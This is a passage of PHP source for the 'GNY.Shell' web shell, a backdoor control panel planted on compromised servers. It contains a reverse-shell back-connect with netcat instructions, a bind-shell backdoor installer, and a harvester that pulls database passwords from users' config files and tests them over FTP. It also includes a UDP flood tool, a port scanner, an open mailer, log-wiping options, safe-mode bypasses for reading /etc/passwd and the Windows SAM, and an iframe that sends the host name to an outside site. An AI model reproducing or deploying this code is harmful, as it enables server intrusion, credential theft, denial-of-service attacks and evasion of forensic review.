";} } else { $r = @file_get_contents($d.$f); $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} if (empty($ft)) {$ft = $rft;} $arr = array( array('[info]','info'), array('[rename]','rename'), array('[html]','html'), array('[txt]','txt'), array('[code]','code'), array('[session]','phpsess'), array('[exe]','exe'), array('[sdb]','sdb'), array('[img]','img'), array('[ini]','ini'), array('[download]','download'), array('[notepad]','notepad'), array('[edit]','edit') ); echo "Viewing file:&nbsp;&nbsp;&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."
Select action/file-type:
"; foreach($arr as $t) { if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><u>".$t[0]."</u></a>";} else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\">".$t[0]."</a>";} echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; } echo "<hr size=\"1\" noshade>"; if ($ft == "info") { echo "Information:<table border=0 cellspacing=1 cellpadding=2>Path ".$d.$f."Size ".view_size(filesize($d.$f))."MD5 ".md5_file($d.$f).""; if (!$win) { echo "Owner/Group "; $ow = posix_getpwuid(fileowner($d.$f)); $gr = posix_getgrgid(filegroup($d.$f)); echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); } echo "Perms<a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a>Create time ".date("d/m/Y H:i:s",filectime($d.$f))."Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."
"; $fi = fopen($d.$f,"rb"); if ($fi) { if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} $n = 0; $a0 = "00000000
"; $a1 = ""; $a2 = ""; for ($i=0; $i<strlen($str); $i++) { $a1 .= sprintf("%02X",ord($str[$i]))." "; switch (ord($str[$i])) { case 0: $a2 .= "<font>0</font>"; break; case 32: case 10: case 13: $a2 .= "&nbsp;"; break; default: $a2 .= htmlspecialchars($str[$i]); } $n++; if ($n == $hexdump_rows) { $n = 0; if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."
";} $a1 .= "
"; $a2 .= "
"; } } //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."
";} echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><td bgcolor=#666666>".$a0."<td bgcolor=000000>".$a1."<td bgcolor=000000>".$a2."
"; } $encoded = ""; if ($base64 == 1) { echo "Base64 Encode
"; $encoded = base64_encode(file_get_contents($d.$f)); } elseif($base64 == 2) { echo "Base64 Encode + Chunk
"; $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); } elseif($base64 == 3) { echo "Base64 Encode + Chunk + Quotes
"; $encoded = base64_encode(file_get_contents($d.$f)); $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); } elseif($base64 == 4) { $text = file_get_contents($d.$f); $encoded = base64_decode($text); echo "Base64 Decode"; if (base64_encode($encoded) != $text) {echo " (failed)";} echo "
"; } if (!empty($encoded)) { echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea>

"; } echo "HEXDUMP:<nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]
Base64: <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> <P>"; } elseif ($ft == "html") { if ($white) {@ob_clean();} echo $r; if ($white) {GNYexit();} } elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} elseif ($ft == "rename") { echo '
<input type=hidden name=act value=f> <input type=hidden name=f value='.urlencode($f).'> <input type=hidden name=ft value=rename> <input type=hidden name=d value='.$d.'> New name: <input type=text name=name>
<input type=submit name=submit value=Submit>
'; if (isset($_GET['name'])) { rename($d.$f, $d.$_GET['name']); if (file_exists($d.$_GET['name'])) { echo '<font color=green>'.$f.' renamed '.$_GET['name'].' successfully.</font>'; }else{ echo '<font color=red>Error renaming file (incorrect permissions?)</font>'; } } } elseif ($ft == "phpsess") { echo "<pre>"; $v = explode("|",$r); echo $v[0]."
"; var_dump(unserialize($v[1])); echo "</pre>"; } elseif ($ft == "exe") { $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($exeftypes as $k=>$v) { if (in_array($ext,$v)) {$rft = $k; break;} } $cmd = str_replace("%f%",$f,$rft); echo "Execute file:
<input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\">
Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\">
<input type=submit name=submit value=\"Execute\">
"; } elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} elseif ($ft == "code") { if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { $arr = explode("\n",$r); if (count($arr == 18)) { include($d.$f); echo "phpBB configuration is detected in this file!
"; if ($dbms == "mysql4") {$dbms = "mysql";} if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><u>Connect to DB</u></a>

";} else {echo "You cannot connect to forum database, because the database software of \"".$dbms."\" is not supported by GNY.Shell";} echo "Parameters for manual connect:
"; $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
";} echo "
<hr size=\"1\" noshade>"; } } echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; if (!empty($white)) {@ob_clean();} highlight_file($d.$f); if (!empty($white)) {GNYexit();} echo "</div>"; } elseif ($ft == "download") { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".filesize($d.$f)); header("Content-disposition: attachment; filename=\"".$f."\";"); echo $r; exit; } elseif ($ft == 'notepad') { @ob_clean(); header("Content-type: text/plain"); header("Content-disposition: attachment; filename=\"".$f.".txt\";"); echo($r); exit; } elseif ($ft == 'img') { $inf = getimagesize($d.$f); if (!$white) { if (empty($imgsize)) {$imgsize = 20;} $width = $inf[0]/100*$imgsize; $height = $inf[1]/100*$imgsize; echo "
Size:&nbsp;"; $sizes = array("100","50","20"); foreach ($sizes as $v) { echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; if ($imgsize != $v ) {echo $v;} else {echo "<u>".$v."</u>";} echo "%</a>&nbsp;&nbsp;"; } echo "

<img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\">
"; } else { @ob_clean(); $ext = explode($f,"."); $ext = $ext[count($ext)-1]; header("Content-type: ".$inf["mime"]); readfile($d.$f); exit; } } elseif ($ft == 'edit') { if (!empty($submit)) { if ($filestealth) {$stat = stat($d.$f);} $fp = fopen($d.$f,"w"); if (!$fp) {echo "Can't write to file!";} else { echo 'Saved!'; fwrite($fp,$edit_text); fclose($fp); if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} $r = $edit_text; } } $rows = count(explode("\r\n",$r)); if ($rows < 10) {$rows = 10;} if ($rows > 30) {$rows = 30;} echo "
<input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\">
<textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea>
"; } elseif (!empty($ft)) {echo "
Manually selected type is incorrect.";} else {echo "
Unknown extension (".$ext."), please, select type manually.
";} } } } else { @ob_clean(); //For simple size- and speed-optimization. $imgequals = array( "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), "ext_html"=>array("ext_html","ext_htm"), "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), "ext_lnk"=>array("ext_lnk","ext_url"), "ext_ini"=>array("ext_ini","ext_css","ext_inf"), "ext_doc"=>array("ext_doc","ext_dot"), "ext_js"=>array("ext_js","ext_vbs"), "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), "ext_wri"=>array("ext_wri","ext_rtf"), "ext_swf"=>array("ext_swf","ext_fla"), "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") ); if (!$getall) { header("Content-type: image/gif"); header("Cache-control: public"); header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7)); header("Last-Modified: ".date("r",filemtime(__FILE__))); foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} if (empty($images[$img])) {$img = "small_unk";} if (in_array($img,$ext_tar)) {$img = "ext_tar";} echo base64_decode($images[$img]); } else { foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]
");}}}} natsort($images); $k = array_keys($images); echo "
"; foreach ($k as $u) {echo '['.$u.']
';} echo "
"; } exit; } if ($act == 'backc'){ $ip = $_SERVER["REMOTE_ADDR"]; $msg = $_POST['backcconnmsg']; $emsg = $_POST['backcconnmsge']; echo('
Back-Connection:

Host:<input type=text name=backconnectip size=15 value='.$ip.'> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect>
First, run NetCat on your computer using \'nc -l -n -v -p '.$bc_port.'\'. Then, click "Connect" once the port is listening.
'); echo $msg; echo $emsg;}if ($act == 'rip') {<iframe src ="http://crushmachine.com/rip.php?host= echo getenv("HTTP_HOST"); "height="600"width="100%"></iframe>}if ($act == 'users') { $users = file('/etc/passwd'); echo ''; foreach($users as $user) { $user = explode(':', $user); echo ''; } echo '
'.$user[0].''.$user[5].'
';}if ($act == 'cpanel'){ if ($_GET['go'] == 'go'){ set_time_limit(0); ################## @$passwd=fopen('/etc/passwd','r'); if (!$passwd) { echo "[-] Error : coudn't read /etc/passwd"; exit; } $path_to_public=array(); $users=array(); $pathtoconf=array(); $i=0; while(!feof($passwd)) { $str=fgets($passwd); if ($i>35) { $pos=strpos($str,":"); $username=substr($str,0,$pos); $dirz="/home/$username/public_html/"; if (($username!="")) { if (is_readable($dirz)) { array_push($users,$username); array_push($path_to_public,$dirz); } } } $i++; } ################### ######################### function read_dir($path,$username) { if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { $fpath="$path$file"; if (($file!='.') and ($file!='..')) { if (is_readable($fpath)) { $dr="$fpath/"; if (is_dir($dr)) { read_dir($dr,$username); } else { if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) { $pass=get_pass($fpath); if ($pass!='') { echo "[+] $fpath\n$pass\n"; ftp_check($username,$pass); } } } } } } } } function get_pass($link) { @$config=fopen($link,'r'); while(!feof($config)) { $line=fgets($config); if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) { if (strrpos($line,'"')) $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3))); else $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3))); return $pass; } } } function ftp_check($login,$pass) { @$ftp=ftp_connect('127.0.0.1'); if ($ftp) { @$res=ftp_login($ftp,$login,$pass); if ($res) { echo '[cPanel Found] '.$login.':'.$pass." Success\n"; } else ftp_quit($ftp); } } echo "

"; echo "<textarea name='main_window' cols=100 rows=20>"; echo "[+] Found ".sizeof($users)." entrys in /etc/passwd\n"; echo "[+] Found ".sizeof($path_to_public)." readable public_html directories\n"; echo "[~] Searching for passwords in config.* files...\n\n"; foreach ($users as $user) { $path="/home/$user/public_html/"; read_dir($path,$user); } echo "\n[+] Done\n"; echo "</textarea>
"; }else echo '
Are you sure you would like to search for cPanel accounts on this website/server?
Please note this may take a long time to execute depending on the website/server it is run on.

<a href="'.$surl.'act=cpanel&go=go">Yes</a> || <a href="'.$surl.'">No</a>
';}if ($act == 'phptools'){
//mailerecho 'Mailer
<input type=text name=to value=to>
<input type=text name=from value=from>
<input type=text name=subject value=subject>
<input type=text name=body value=body>
<input type=submit name=submit value=Submit>
';if (isset($_GET['to']) && isset($_GET['from']) && isset($_GET['subject']) && isset($_GET['body'])) { $headers = 'From: '.$_GET['from']; mail ($_GET['to'],$_GET['subject'],$_GET['body'],$headers); echo 'Email sent.';}//port scannerecho '
Port Scanner
';$start = strip_tags($_GET['start']);$end = strip_tags($_GET['end']);$host = strip_tags($_GET['host']);if(isset($_GET['host']) && is_numeric($_GET['end']) && is_numeric($_GET['start'])){for($i = $start; $i<=$end; $i++){ $fp = @fsockopen($host, $i, $errno, $errstr, 3); if($fp){ echo 'Port '.$i.' is <font color=green>open</font>
'; } flush(); }}else{
Host:<br /><br />Port start:<br /><br />Port end:<br /><br />
}//UDPif(isset($_GET['host'])&&is_numeric($_GET['time'])){ $pakits = 0; ignore_user_abort(TRUE); set_time_limit(0); $exec_time = $_GET['time']; $time = time(); //print "Started: ".time('h:i:s')."
"; $max_time = $time+$exec_time; $host = $_GET['host']; for($i=0;$i<65000;$i++){ $out .= 'X'; } while(1){ $pakits++; if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "
UDP Flood
Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n"; echo '

Host: <input type=text name=host value=localhost> Length (seconds): <input type=text name=time value=9999> <input type=submit value=Go>
';}else{ echo '
UDP Flood
Host:
<input type=text name=host value=localhost>
Length (seconds):
<input type=text name=time value=9999>
<input type=submit value=Go>
';}
}if ($act == 'shbd'){$msg = $_POST['backcconnmsg'];$emsg = $_POST['backcconnmsge'];echo("
Bind Shell Backdoor:

Bind Port: <input type='text' name='backconnectport' value='5992'><input type='hidden' name='use' value='shbd'><input type='submit' value='Install Backdoor'>
");echo("$msg");echo("$emsg");echo("
");} <a bookmark="minipanel">
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> <td width="100%" height="1" valign="top" colspan="2"> <td width="50%" height="1" valign="top">
Enter:
<input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute">
<td width="50%" height="1" valign="top">
Kernel Info:
<input type=submit value="Google!">
</TABLE>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> <td height="1" valign="top"> <td width="100%" height="83" valign="top">
<table border=0>
Functions
Make Dir
Go Dir
<input type=hidden name="d" value=" echo $dispd; "> <SELECT NAME="act"><OPTION VALUE="zap2">Wipe Logs Using zap2 (*nix)<OPTION VALUE="clearlogs">Wipe Logs Using ClearLogs (Windows)</SELECT>
<input type=submit name="submit" value="Execute">
&nbsp;
<input type=hidden name=act value="mkdir"><input type=hidden name="d" value=" echo $dispd; ">

<input type=submit value="Create">
echo $wdt;
<input type=hidden name=act value="ls">

<input type=submit value="Go">
&nbsp;
Aliases
Make File
Go File
// Command-aliases if (!$win) // if the box isn't windows; most likely *nix{ $cmdaliases = array( array('-----------------------------------------------------------', 'ls -la'), array('Currently Logged in Users', 'w'), array('Last User to Connect', 'lastlog'), array('Find Users Without a Password', 'cut -d: -f1,2,3 /etc/passwd | grep ::'), array('Is /etc Writable?', 'find /etc/ -type f -perm -o+w 2> /dev/null'), array('Installed Downloaders', 'which wget curl w3m lynx'), array('Open Ports', 'netstat -an | grep -i listen'), array('Box Uptime', 'uptime'), array('System Variables', 'set'), array('ARP table', 'arp -a'), array('Patch Level for RedHat 7.0', 'rpm -qa'), array('Network Interfaces', 'ifconfig'), array('Mounted Filesystems', 'mount'), array('Create 1GB File in Current Dir (for h00lyshit)', 'dd if=/dev/urandom of=./bigfile count=2M'), array('Find Suid Bins', 'find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null'), array("Find All Suid Files", "find / -type f -perm -04000 -ls"), array("Find Suid Files in Current Dir", "find . -type f -perm -04000 -ls"), array("Find All Sgid Files", "find / -type f -perm -02000 -ls"), array("Find Sgid Files in Current Dir", "find . -type f -perm -02000 -ls"), array("Find config.inc.php Files", "find / -type f -name config.inc.php"), array("Find config* Files", "find / -type f -name \"config*\""), array("Find config* Files in Current Dir", "find . -type f -name \"config*\""), array("Find All Writable Folders and Files", "find / -perm -2 -ls"), array("Find All Writable Folders and Files in Current Dir", "find . -perm -2 -ls"), array("Find All service.pwd Files", "find / -type f -name service.pwd"), array("Find service.pwd Files in Current Dir", "find . -type f -name service.pwd"), array("Find All .htpasswd Files", "find / -type f -name .htpasswd"), array("Find .htpasswd Files in Current Dir", "find . -type f -name .htpasswd"), array("Find All .bash_history Files", "find / -type f -name .bash_history"), array("Find .bash_history Files in Current Dir", "find . -type f -name .bash_history"), array("Find All .fetchmailrc Files", "find / -type f -name .fetchmailrc"), array("Find .fetchmailrc Files in Current Dir", "find . -type f -name .fetchmailrc"), array("List File Attributes on a Linux Second Extended File System", "lsattr -va"), ); } else // if the box is windows{ $cmdaliases = array( array('-----------------------------------------------------------', 'dir'), array('Active Connections', 'netstat -an'), array('ARP Table', 'arp -a'), array('Net Shares', 'net use'), array('IP Configuration', 'ipconfig /all'), array('Disk Quotas', 'fsutil quota query '.$pd[0]), array('Drive Type', 'fsutil fsinfo drivetype '.$pd[0]) ); }
<input type=hidden name=act value="cmd"><input type=hidden name="d" value=" echo $dispd; "><select name="cmd"> foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} </select><input type=hidden name="cmd_txt" value="1">
<input type=submit name=submit value="Execute">
&nbsp;
<input type=hidden name=act value="mkfile"><input type=hidden name="d" value=" echo $dispd; "><input type=hidden name="ft" value="edit">
<input type=submit value="Create">
echo $wdt;
<input type=hidden name=act value="gofile"><input type=hidden name="d" value=" echo $dispd; ">

<input type=submit value="Go">
&nbsp;
</TABLE>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> <td height="1" valign="top" colspan="2"> <td width=50% height=83 valign=top>
PHP Safe-Mode Bypass (Read File)

File: <input type=text name="file"> <input type=submit value="Read File">

e.g.: /etc/passwd or C:\WINDOWS\system32\.SAM
if(isset($_GET['file'])) { $test=''; $temp=tempnam($test, 'cx'); $file=$_GET['file']; $get=htmlspecialchars($file); echo 'Trying To Get File <font color=#000099>'.$get.'</font>
'; if(copy("compress.zlib://".$file, $temp)){ $fichier = fopen($temp, 'r'); $action = fread($fichier, filesize($temp)); fclose($fichier); $source=htmlspecialchars($action); echo 'Start '.$get.'
<font color=white><pre>'.$source.'</pre></font>
Fin <font color=#000099>'.$get.'</font>'; unlink($temp); } else echo '<font color=red>
Sorry... File '.htmlspecialchars($file).' doesn\'t exist or you don\'t have access.
</font>';}<td width=50% height=83 valign=top>
PHP Safe-Mode Bypass (Directory Listing)

Dir: <input type=text name="directory"> <input type=submit value="List Directory">

e.g.: /etc/ or C:\
if(isset($_GET['directory'])) { $chemin = $_GET['directory']; $files = glob("$chemin*"); echo 'Trying To List Folder <font color=#000099>'.$chemin.'</font>

'; foreach ($files as $filename) echo $filename."\n
"; // added the \n for easier readability while viewing the html source} </TABLE>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> <td height="1" valign="top" colspan="2"> <td width="50%" height="1" valign="top">
Search
&nbsp; - regexp&nbsp;<input type=submit name=submit value="Search">
</p> <td width="50%" height="1" valign="top">
Upload
<input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload">
echo $wdt;

<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><td width="990" height="1" valign="top">
.:[ GNY.Shell Encoded v1.1 ! Stand@rd Edition</font> | Generated in: echo round(getmicrotime()-starttime,4); ]:.
chdir($lastdir); GNYexit();